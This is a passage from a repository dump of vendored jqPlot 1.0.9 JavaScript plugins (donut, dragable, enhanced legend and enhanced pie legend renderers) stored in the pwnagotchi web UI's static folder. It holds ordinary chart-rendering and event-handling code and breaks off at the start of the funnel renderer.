(this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(pd.length/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(pd.length/this.numberColumns); } else { nr = pd.length; nc = 1; } var i, j, tr, td1, td2, lt, rs, color; var idx = 0; for (i=0; i<nr; i++) { if (reverse){ tr = $('<tr class="jqplot-table-legend"></tr>').prependTo(this._elem); } else{ tr = $('<tr class="jqplot-table-legend"></tr>').appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < pd.length){ lt = this.labels[idx] || pd[idx][0].toString(); color = colorGenerator.next(); if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $('<td class="jqplot-table-legend" style="text-align:center;padding-top:'+rs+';">'+ '<div><div class="jqplot-table-legend-swatch" style="border-color:'+color+';"></div>'+ '</div></td>'); td2 = $('<td class="jqplot-table-legend" style="padding-top:'+rs+';"></td>'); if (this.escapeHtml){ td2.text(lt); } else { td2.html(lt); } if (reverse) { td2.prependTo(tr); td1.prependTo(tr); } else { td1.appendTo(tr); td2.appendTo(tr); } pad = true; } idx++; } } } } return this._elem; }; // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.legend = options.legend || {}; options.seriesDefaults = options.seriesDefaults || {}; // only set these if there is a donut series var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.DonutRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.DonutRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.DonutAxisRenderer; options.legend.renderer = $.jqplot.DonutLegendRenderer; options.legend.preDraw = true; options.seriesDefaults.pointLabels = {show: false}; } } // called with scope of plot. function postInit(target, data, options) { // if multiple series, add a reference to the previous one so that // donut rings can nest. for (var i=1; i<this.series.length; i++) { if (!this.series[i]._previousSeries.length){ for (var j=0; j<i; j++) { if (this.series[i].renderer.constructor == $.jqplot.DonutRenderer && this.series[j].renderer.constructor == $.jqplot.DonutRenderer) { this.series[i]._previousSeries.push(this.series[j]); } } } } for (i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.DonutRenderer) { this.series[i]._numberSeries = this.series.length; // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } var postParseOptionsRun = false; // called with scope of plot function postParseOptions(options) { for (var i=0; i<this.series.length; i++) { this.series[i].seriesColors = this.seriesColors; this.series[i].colorGenerator = $.jqplot.colorGenerator; } } function highlight (plot, sidx, pidx) { var s = plot.series[sidx]; var canvas = plot.plugins.donutRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.donutRenderer.highlightedSeriesIndex = sidx; s.renderer.drawSlice.call(s, canvas._ctx, s._sliceAngles[pidx][0], s._sliceAngles[pidx][1], s.highlightColors[pidx], false); } function unhighlight (plot) { var canvas = plot.plugins.donutRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.donutRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.donutRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.donutRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.donutRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.donutRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.donutRenderer && this.plugins.donutRenderer.highlightCanvas) { this.plugins.donutRenderer.highlightCanvas.resetCanvas(); this.plugins.donutRenderer.highlightCanvas = null; } this.plugins.donutRenderer = {highlightedSeriesIndex:null}; this.plugins.donutRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); // do we have any data labels? if so, put highlight canvas before those // Fix for broken jquery :first selector with canvas (VML) elements. var labels = $(this.targetId+' .jqplot-data-label'); if (labels.length) { $(labels[0]).before(this.plugins.donutRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-donutRenderer-highlight-canvas', this._plotDimensions, this)); } // else put highlight canvas before event canvas. else { this.eventCanvas._elem.before(this.plugins.donutRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-donutRenderer-highlight-canvas', this._plotDimensions, this)); } var hctx = this.plugins.donutRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } $.jqplot.preInitHooks.push(preInit); $.jqplot.DonutTickRenderer = function() { $.jqplot.AxisTickRenderer.call(this); }; $.jqplot.DonutTickRenderer.prototype = new $.jqplot.AxisTickRenderer(); $.jqplot.DonutTickRenderer.prototype.constructor = $.jqplot.DonutTickRenderer; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.dragable.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.Dragable * Plugin to make plotted points dragable by the user. */ $.jqplot.Dragable = function(options) { // Group: Properties this.markerRenderer = new $.jqplot.MarkerRenderer({shadow:false}); this.shapeRenderer = new $.jqplot.ShapeRenderer(); this.isDragging = false; this.isOver = false; this._ctx; this._elem; this._point; this._gridData; // prop: color // CSS color spec for the dragged point (and adjacent line segment or bar). this.color; // prop: constrainTo // Constrain dragging motion to an axis or to none. // Allowable values are 'none', 'x', 'y' this.constrainTo = 'none'; // 'x', 'y', or 'none'; $.extend(true, this, options); }; function DragCanvas() { $.jqplot.GenericCanvas.call(this); this.isDragging = false; this.isOver = false; this._neighbor; this._cursors = []; } DragCanvas.prototype = new $.jqplot.GenericCanvas(); DragCanvas.prototype.constructor = DragCanvas; // called within scope of series $.jqplot.Dragable.parseOptions = function (defaults, opts) { var options = opts || {}; this.plugins.dragable = new $.jqplot.Dragable(options.dragable); // since this function is called before series options are parsed, // we can set this here and it will be overridden if needed. this.isDragable = $.jqplot.config.enablePlugins; }; // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. // add a new DragCanvas object to the plot plugins to handle drawing on this new canvas. $.jqplot.Dragable.postPlotDraw = function() { // Memory Leaks patch if (this.plugins.dragable && this.plugins.dragable.highlightCanvas) { this.plugins.dragable.highlightCanvas.resetCanvas(); this.plugins.dragable.highlightCanvas = null; } this.plugins.dragable = {previousCursor:'auto', isOver:false}; this.plugins.dragable.dragCanvas = new DragCanvas(); this.eventCanvas._elem.before(this.plugins.dragable.dragCanvas.createElement(this._gridPadding, 'jqplot-dragable-canvas', this._plotDimensions, this)); var dctx = this.plugins.dragable.dragCanvas.setContext(); }; //$.jqplot.preInitHooks.push($.jqplot.Dragable.init); $.jqplot.preParseSeriesOptionsHooks.push($.jqplot.Dragable.parseOptions); $.jqplot.postDrawHooks.push($.jqplot.Dragable.postPlotDraw); $.jqplot.eventListenerHooks.push(['jqplotMouseMove', handleMove]); $.jqplot.eventListenerHooks.push(['jqplotMouseDown', handleDown]); $.jqplot.eventListenerHooks.push(['jqplotMouseUp', handleUp]); function initDragPoint(plot, neighbor) { var s = plot.series[neighbor.seriesIndex]; var drag = s.plugins.dragable; // first, init the mark renderer for the dragged point var smr = s.markerRenderer; var mr = drag.markerRenderer; mr.style = smr.style; mr.lineWidth = smr.lineWidth + 2.5; mr.size = smr.size + 5; if (!drag.color) { var rgba = $.jqplot.getColorComponents(smr.color); var newrgb = [rgba[0], rgba[1], rgba[2]]; var alpha = (rgba[3] >= 0.6) ? rgba[3]*0.6 : rgba[3]*(2-rgba[3]); drag.color = 'rgba('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+','+alpha+')'; } mr.color = drag.color; mr.init(); var start = (neighbor.pointIndex > 0) ? neighbor.pointIndex - 1 : 0; var end = neighbor.pointIndex+2; drag._gridData = s.gridData.slice(start, end); } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (plot.plugins.dragable.dragCanvas.isDragging) { var dc = plot.plugins.dragable.dragCanvas; var dp = dc._neighbor; var s = plot.series[dp.seriesIndex]; var drag = s.plugins.dragable; var gd = s.gridData; // compute the new grid position with any constraints. var x = (drag.constrainTo == 'y') ? dp.gridData[0] : gridpos.x; var y = (drag.constrainTo == 'x') ? dp.gridData[1] : gridpos.y; // compute data values for any listeners. var xu = s._xaxis.series_p2u(x); var yu = s._yaxis.series_p2u(y); // clear the canvas then redraw effect at new position. var ctx = dc._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); // adjust our gridData for the new mouse position if (dp.pointIndex > 0) { drag._gridData[1] = [x, y]; } else { drag._gridData[0] = [x, y]; } plot.series[dp.seriesIndex].draw(dc._ctx, {gridData:drag._gridData, shadow:false, preventJqPlotSeriesDrawTrigger:true, color:drag.color, markerOptions:{color:drag.color, shadow:false}, trendline:{show:false}}); plot.target.trigger('jqplotSeriesPointChange', [dp.seriesIndex, dp.pointIndex, [xu,yu], [x,y]]); } else if (neighbor != null) { var series = plot.series[neighbor.seriesIndex]; if (series.isDragable) { var dc = plot.plugins.dragable.dragCanvas; if (!dc.isOver) { dc._cursors.push(ev.target.style.cursor); ev.target.style.cursor = "pointer"; } dc.isOver = true; } } else if (neighbor == null) { var dc = plot.plugins.dragable.dragCanvas; if (dc.isOver) { ev.target.style.cursor = dc._cursors.pop(); dc.isOver = false; } } } function handleDown(ev, gridpos, datapos, neighbor, plot) { var dc = plot.plugins.dragable.dragCanvas; dc._cursors.push(ev.target.style.cursor); if (neighbor != null) { var s = plot.series[neighbor.seriesIndex]; var drag = s.plugins.dragable; if (s.isDragable && !dc.isDragging) { dc._neighbor = neighbor; dc.isDragging = true; initDragPoint(plot, neighbor); drag.markerRenderer.draw(s.gridData[neighbor.pointIndex][0], s.gridData[neighbor.pointIndex][1], dc._ctx); ev.target.style.cursor = "move"; plot.target.trigger('jqplotDragStart', [neighbor.seriesIndex, neighbor.pointIndex, gridpos, datapos]); } } // Just in case of a hickup, we'll clear the drag canvas and reset. else { var ctx = dc._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); dc.isDragging = false; } } function handleUp(ev, gridpos, datapos, neighbor, plot) { if (plot.plugins.dragable.dragCanvas.isDragging) { var dc = plot.plugins.dragable.dragCanvas; // clear the canvas var ctx = dc._ctx; ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); dc.isDragging = false; // redraw the series canvas at the new point. var dp = dc._neighbor; var s = plot.series[dp.seriesIndex]; var drag = s.plugins.dragable; // compute the new grid position with any constraints. var x = (drag.constrainTo == 'y') ? dp.data[0] : datapos[s.xaxis]; var y = (drag.constrainTo == 'x') ? dp.data[1] : datapos[s.yaxis]; // var x = datapos[s.xaxis]; // var y = datapos[s.yaxis]; s.data[dp.pointIndex][0] = x; s.data[dp.pointIndex][1] = y; plot.drawSeries({preventJqPlotSeriesDrawTrigger:true}, dp.seriesIndex); dc._neighbor = null; ev.target.style.cursor = dc._cursors.pop(); plot.target.trigger('jqplotDragStop', [gridpos, datapos]); } } })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.enhancedLegendRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // class $.jqplot.EnhancedLegendRenderer // Legend renderer which can specify the number of rows and/or columns in the legend. $.jqplot.EnhancedLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.EnhancedLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.EnhancedLegendRenderer.prototype.constructor = $.jqplot.EnhancedLegendRenderer; // called with scope of legend. $.jqplot.EnhancedLegendRenderer.prototype.init = function(options) { // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; // prop: seriesToggle // false to not enable series on/off toggling on the legend. // true or a fadein/fadeout speed (number of milliseconds or 'fast', 'normal', 'slow') // to enable show/hide of series on click of legend item. this.seriesToggle = 'normal'; // prop: seriesToggleReplot // True to replot the chart after toggling series on/off. // This will set the series show property to false. // This allows for rescaling or other maniplation of chart. // Set to an options object (e.g. {resetAxes: true}) for replot options. this.seriesToggleReplot = false; // prop: disableIEFading // true to toggle series with a show/hide method only and not allow fading in/out. // This is to overcome poor performance of fade in some versions of IE. this.disableIEFading = true; $.extend(true, this, options); if (this.seriesToggle) { $.jqplot.postDrawHooks.push(postDraw); } }; // called with scope of legend $.jqplot.EnhancedLegendRenderer.prototype.draw = function(offsets, plot) { var legend = this; if (this.show) { var series = this._series; var s; var ss = 'position:absolute;'; ss += (this.background) ? 'background:'+this.background+';' : ''; ss += (this.border) ? 'border:'+this.border+';' : ''; ss += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; ss += (this.fontFamily) ? 'font-family:'+this.fontFamily+';' : ''; ss += (this.textColor) ? 'color:'+this.textColor+';' : ''; ss += (this.marginTop != null) ? 'margin-top:'+this.marginTop+';' : ''; ss += (this.marginBottom != null) ? 'margin-bottom:'+this.marginBottom+';' : ''; ss += (this.marginLeft != null) ? 'margin-left:'+this.marginLeft+';' : ''; ss += (this.marginRight != null) ? 'margin-right:'+this.marginRight+';' : ''; this._elem = $('<table class="jqplot-table-legend" style="'+ss+'"></table>'); if (this.seriesToggle) { this._elem.css('z-index', '3'); } var pad = false, reverse = false, nr, nc; if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(series.length/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(series.length/this.numberColumns); } else { nr = series.length; nc = 1; } var i, j, tr, td1, td2, lt, rs, div, div0, div1; var idx = 0; // check to see if we need to reverse for (i=series.length-1; i>=0; i--) { if (nc == 1 && series[i]._stack || series[i].renderer.constructor == $.jqplot.BezierCurveRenderer){ reverse = true; } } for (i=0; i<nr; i++) { tr = $(document.createElement('tr')); tr.addClass('jqplot-table-legend'); if (reverse){ tr.prependTo(this._elem); } else{ tr.appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < series.length && (series[idx].show || series[idx].showLabel)){ s = series[idx]; lt = this.labels[idx] || s.label.toString(); if (lt) { var color = s.color; if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $(document.createElement('td')); td1.addClass('jqplot-table-legend jqplot-table-legend-swatch'); td1.css({textAlign: 'center', paddingTop: rs}); div0 = $(document.createElement('div')); div0.addClass('jqplot-table-legend-swatch-outline'); div1 = $(document.createElement('div')); div1.addClass('jqplot-table-legend-swatch'); div1.css({backgroundColor: color, borderColor: color}); td1.append(div0.append(div1)); td2 = $(document.createElement('td')); td2.addClass('jqplot-table-legend jqplot-table-legend-label'); td2.css('paddingTop', rs); // td1 = $('<td class="jqplot-table-legend" style="text-align:center;padding-top:'+rs+';">'+ // '<div><div class="jqplot-table-legend-swatch" style="background-color:'+color+';border-color:'+color+';"></div>'+ // '</div></td>'); // td2 = $('<td class="jqplot-table-legend" style="padding-top:'+rs+';"></td>'); if (this.escapeHtml){ td2.text(lt); } else { td2.html(lt); } if (reverse) { if (this.showLabels) {td2.prependTo(tr);} if (this.showSwatches) {td1.prependTo(tr);} } else { if (this.showSwatches) {td1.appendTo(tr);} if (this.showLabels) {td2.appendTo(tr);} } if (this.seriesToggle) { // add an overlay for clicking series on/off // div0 = $(document.createElement('div')); // div0.addClass('jqplot-table-legend-overlay'); // div0.css({position:'relative', left:0, top:0, height:'100%', width:'100%'}); // tr.append(div0); var speed; if (typeof(this.seriesToggle) === 'string' || typeof(this.seriesToggle) === 'number') { if (!$.jqplot.use_excanvas || !this.disableIEFading) { speed = this.seriesToggle; } } if (this.showSwatches) { td1.bind('click', {series:s, speed:speed, plot: plot, replot:this.seriesToggleReplot}, handleToggle); td1.addClass('jqplot-seriesToggle'); } if (this.showLabels) { td2.bind('click', {series:s, speed:speed, plot: plot, replot:this.seriesToggleReplot}, handleToggle); td2.addClass('jqplot-seriesToggle'); } // for series that are already hidden, add the hidden class if (!s.show && s.showLabel) { td1.addClass('jqplot-series-hidden'); td2.addClass('jqplot-series-hidden'); } } pad = true; } } idx++; } td1 = td2 = div0 = div1 = null; } } return this._elem; }; var handleToggle = function (ev) { var d = ev.data, s = d.series, replot = d.replot, plot = d.plot, speed = d.speed, sidx = s.index, showing = false; if (s.canvas._elem.is(':hidden') || !s.show) { showing = true; } var doLegendToggle = function() { if (replot) { var opts = {}; if ($.isPlainObject(replot)) { $.extend(true, opts, replot); } plot.replot(opts); // if showing, there was no canvas element to fade in, so hide here // and then do a fade in. if (showing && speed) { var s = plot.series[sidx]; if (s.shadowCanvas._elem) { s.shadowCanvas._elem.hide().fadeIn(speed); } s.canvas._elem.hide().fadeIn(speed); s.canvas._elem.nextAll('.jqplot-point-label.jqplot-series-'+s.index).hide().fadeIn(speed); } } else { var s = plot.series[sidx]; if (s.canvas._elem.is(':hidden') || !s.show) { // Not sure if there is a better way to check for showSwatches and showLabels === true. // Test for "undefined" since default values for both showSwatches and showLables is true. if (typeof plot.options.legend.showSwatches === 'undefined' || plot.options.legend.showSwatches === true) { plot.legend._elem.find('td').eq(sidx * 2).addClass('jqplot-series-hidden'); } if (typeof plot.options.legend.showLabels === 'undefined' || plot.options.legend.showLabels === true) { plot.legend._elem.find('td').eq((sidx * 2) + 1).addClass('jqplot-series-hidden'); } } else { if (typeof plot.options.legend.showSwatches === 'undefined' || plot.options.legend.showSwatches === true) { plot.legend._elem.find('td').eq(sidx * 2).removeClass('jqplot-series-hidden'); } if (typeof plot.options.legend.showLabels === 'undefined' || plot.options.legend.showLabels === true) { plot.legend._elem.find('td').eq((sidx * 2) + 1).removeClass('jqplot-series-hidden'); } } } }; s.toggleDisplay(ev, doLegendToggle); }; // called with scope of plot. var postDraw = function () { if (this.legend.renderer.constructor == $.jqplot.EnhancedLegendRenderer && this.legend.seriesToggle){ var e = this.legend._elem.detach(); this.eventCanvas._elem.after(e); } }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.enhancedPieLegendRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // class $.jqplot.EnhancedPieLegendRenderer // Legend renderer which can specify the number of rows and/or columns in the legend // Similar to EnhancedLegendRenderer, but for pie charts $.jqplot.EnhancedPieLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.EnhancedPieLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.EnhancedPieLegendRenderer.prototype.constructor = $.jqplot.EnhancedPieLegendRenderer; // called with scope of legend. $.jqplot.EnhancedPieLegendRenderer.prototype.init = function(options) { // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; // prop: seriesToggle // false to not enable series on/off toggling on the legend. // true or a fadein/fadeout speed (number of milliseconds or 'fast', 'normal', 'slow') // to enable show/hide of series on click of legend item. this.seriesToggle = 'normal'; // prop: seriesToggleReplot // True to replot the chart after toggling series on/off. // This will set the series show property to false. // This allows for rescaling or other maniplation of chart. // Set to an options object (e.g. {resetAxes: true}) for replot options. this.seriesToggleReplot = false; // prop: disableIEFading // true to toggle series with a show/hide method only and not allow fading in/out. // This is to overcome poor performance of fade in some versions of IE. this.disableIEFading = true; // prop: toolTips // optional array of toolTip text corresponding to each pie slice this.toolTips = []; $.extend(true, this, options); if (this.seriesToggle) { $.jqplot.postDrawHooks.push(postDraw); } }; // called with scope of legend $.jqplot.EnhancedPieLegendRenderer.prototype.draw = function(offsets, plot) { var legend = this; if (this.show) { var series = this._series; var s; var ss = 'position:absolute;'; ss += (this.background) ? 'background:'+this.background+';' : ''; ss += (this.border) ? 'border:'+this.border+';' : ''; ss += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; ss += (this.fontFamily) ? 'font-family:'+this.fontFamily+';' : ''; ss += (this.textColor) ? 'color:'+this.textColor+';' : ''; ss += (this.marginTop != null) ? 'margin-top:'+this.marginTop+';' : ''; ss += (this.marginBottom != null) ? 'margin-bottom:'+this.marginBottom+';' : ''; ss += (this.marginLeft != null) ? 'margin-left:'+this.marginLeft+';' : ''; ss += (this.marginRight != null) ? 'margin-right:'+this.marginRight+';' : ''; this._elem = $('<table class="jqplot-table-legend" style="'+ss+'"></table>'); if (this.seriesToggle) { this._elem.css('z-index', '3'); } var pad = false, reverse = false, nr, nc; var s = series[0]; var slen = s.data.length; var colorGenerator = new $.jqplot.ColorGenerator(s.seriesColors); if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(slen/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(slen/this.numberColumns); } else { nr = slen; nc = 1; } var i, j, tr, td1, td2, lt, rs, div, div0, div1; var idx = 0; // check to see if we need to reverse for (i=series.length-1; i>=0; i--) { if (nc == 1 && series[i]._stack || series[i].renderer.constructor == $.jqplot.BezierCurveRenderer){ reverse = true; } } for (i=0; i<nr; i++) { tr = $(document.createElement('tr')); tr.addClass('jqplot-table-legend'); if (reverse){ tr.prependTo(this._elem); } else{ tr.appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < slen){ lt = this.labels[idx] || s.data[idx][0].toString(); tt = this.toolTips[idx]; if (lt) { var color = colorGenerator.next(); if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $(document.createElement('td')); td1.addClass('jqplot-table-legend jqplot-table-legend-swatch'); td1.css({textAlign: 'center', paddingTop: rs}); div0 = $(document.createElement('div')); div0.addClass('jqplot-table-legend-swatch-outline'); if (tt !== undefined) { div0.attr("title", tt); } div1 = $(document.createElement('div')); div1.addClass('jqplot-table-legend-swatch'); div1.css({backgroundColor: color, borderColor: color}); td1.append(div0.append(div1)); td2 = $(document.createElement('td')); td2.addClass('jqplot-table-legend jqplot-table-legend-label'); td2.css('paddingTop', rs); if (tt !== undefined) { td2.attr("title", tt); } if (this.escapeHtml){ td2.text(lt); } else { td2.html(lt); } if (reverse) { if (this.showLabels) {td2.prependTo(tr);} if (this.showSwatches) {td1.prependTo(tr);} } else { if (this.showSwatches) {td1.appendTo(tr);} if (this.showLabels) {td2.appendTo(tr);} } if (this.seriesToggle) { var speed; if (typeof(this.seriesToggle) === 'string' || typeof(this.seriesToggle) === 'number') { if (!$.jqplot.use_excanvas || !this.disableIEFading) { speed = this.seriesToggle; } } if (this.showSwatches) { td1.bind('click', {series:s, index:idx, speed:speed, plot: plot, replot:this.seriesToggleReplot}, handleToggle); td1.addClass('jqplot-seriesToggle'); } if (this.showLabels) { td2.bind('click', {series:s, index:idx, speed:speed, plot: plot, replot:this.seriesToggleReplot}, handleToggle); td2.addClass('jqplot-seriesToggle'); } // for slices that are already hidden, add the hidden class if (s.showSlice[idx] === false && s.showLabel) { td1.addClass('jqplot-series-hidden'); td2.addClass('jqplot-series-hidden'); } } pad = true; } } idx++; } td1 = td2 = div0 = div1 = null; } } return this._elem; }; var handleToggle = function (ev) { var d = ev.data, replot = d.replot, plot = d.plot, idx = d.index; d.series.showSlice[idx] = (d.series.showSlice[idx] === false) ? true : false; var opts = {}; if ($.isPlainObject(replot)) { $.extend(true, opts, replot); } plot.replot(opts); }; // called with scope of plot. var postDraw = function () { if (this.legend.renderer.constructor == $.jqplot.EnhancedPieLegendRenderer && this.legend.seriesToggle) { var e = this.legend._elem.detach(); this.eventCanvas._elem.after(e); } }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.funnelRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.FunnelRenderer * Plugin renderer to draw a funnel chart. * x values, if present, will be used as labels. * y values give area size. * * Funnel charts will draw a single series * only. * * To use this renderer, you need to include the * funnel renderer plugin, for example: * * > <script type="text/javascript" 